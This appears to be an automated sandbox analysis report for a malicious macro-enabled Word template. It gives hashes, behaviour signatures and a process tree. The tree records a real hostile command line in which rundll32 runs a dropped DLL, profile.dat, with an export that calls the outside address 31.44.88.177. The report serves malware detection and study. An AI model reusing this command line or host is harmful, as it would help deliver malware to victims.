5766758c51c678d7f26a68947be2352ee091773239c4ffbbd62ed72cfbd8afdf | Triage

Analysis

max time kernel
69s
max time network
28s
platform
windows7_x64
resource
win7
submitted
14-07-2020 11:29

Sharing

Report Analysis Logs

General

Target

custom_template.dotm
Size

66KB
MD5

0a222cc47b33e66646781732d40009a8
SHA1

df6619f7ace034bd7109e4fddb48a71282152d1e
SHA256

5766758c51c678d7f26a68947be2352ee091773239c4ffbbd62ed72cfbd8afdf
SHA512

0e6a51083ac8ea8a51c9f87cd9e559d9deaffc1f1358678b0e9b83997615b7ee12ae856ccb006fca48250ebeacc545b25bd838891fc31da275194ec0497fad80

Score

10^/10

Malware Config

Signatures

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

WINWORD.EXE

pid process

1196 WINWORD.EXE
Suspicious use of SetWindowsHookEx 2 IoCs

Processes:

WINWORD.EXE

pid process

1196 WINWORD.EXE
1196 WINWORD.EXE

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Office14\WINWORD.EXE is not expected to spawn this process	1504	1196	rundll32.exe	WINWORD.EXE

Suspicious use of WriteProcessMemory 10 IoCs

Processes:

WINWORD.EXErundll32.exe

description	pid	process	target process
PID 1196 wrote to memory of 1504	1196	WINWORD.EXE	rundll32.exe
PID 1196 wrote to memory of 1504	1196	WINWORD.EXE	rundll32.exe
PID 1196 wrote to memory of 1504	1196	WINWORD.EXE	rundll32.exe
PID 1504 wrote to memory of 832	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 832	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 832	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 832	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 832	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 832	1504	rundll32.exe	rundll32.exe
PID 1504 wrote to memory of 832	1504	rundll32.exe	rundll32.exe

Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

832 rundll32.exe
Suspicious use of FindShellTrayWindow 1 IoCs

Processes:

WINWORD.EXE

pid process

1196 WINWORD.EXE
Office loads VBA resources, possible macro or embedded object present

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\custom_template.dotm"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
- Suspicious use of FindShellTrayWindow
PID:1196

C:\Windows\System32\rundll32.exe
C:\Windows\System32\rundll32.exe "C:\Users\Admin\AppData\Local\Temp\profile.dat",MyExport 31.44.88.177/index.htm
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:1504

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\System32\rundll32.exe "C:\Users\Admin\AppData\Local\Temp\profile.dat",MyExport 31.44.88.177/index.htm
3⤵
- Loads dropped DLL
PID:832

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\profile.dat

Download Submit
\Users\Admin\AppData\Local\Temp\profile.dat

Download Submit
memory/832-9-0x0000000000000000-mapping.dmp

Download
memory/1196-0-0x00000000003BC000-0x00000000003BE000-memory.dmp

Filesize
8KB

Download
memory/1504-7-0x0000000000000000-mapping.dmp

Download